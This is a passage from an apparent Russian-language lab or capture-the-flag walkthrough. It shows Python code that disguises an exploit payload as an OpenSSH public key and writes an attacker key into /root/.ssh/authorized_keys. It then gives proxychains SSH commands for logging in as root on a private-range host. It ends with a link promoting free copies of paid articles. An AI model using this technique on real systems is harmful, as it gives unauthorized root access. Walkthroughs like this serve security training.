Наг­рузка отлично отра­баты­вает, оста­лось упа­ковать ее как ключ SSH, так как в токене %k будет передан имен­но он. Изме­ним коман­ду записи, ука­зав в ней реаль­ный пуб­личный ключ SSH и путь к фай­лу /root/.ssh/authorized_keys. И добавим в код упа­ков­ку в ключ SSH вмес­то стро­ки вывода print(base64.b64encode(payload).decode()):

from Crypto.PublicKey.RSA import construct

import binascii

e = 65537

n = int(binascii.hexlify(payload), 16)

import os

key = construct((n, e), consistency_check=False)

print(key.exportKey(format="OpenSSH"))

cb2225ded05d32c5124b1a2738b96fc2.png

Те­перь выпол­ним пер­вое под­клю­чение с этим клю­чом, что­бы записать наш пуб­личный. Затем выпол­ним вто­рое под­клю­чение уже с нашим при­ват­ным клю­чом.

proxychains -q ssh -i test_key root@192.168.23.1

proxychains -q ssh -i id_rsa root@192.168.23.1

37500d67bbe4600d2471d017eab2f2ec.png

Все прош­ло глад­ко. Машина зах­вачена, и у нас есть над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei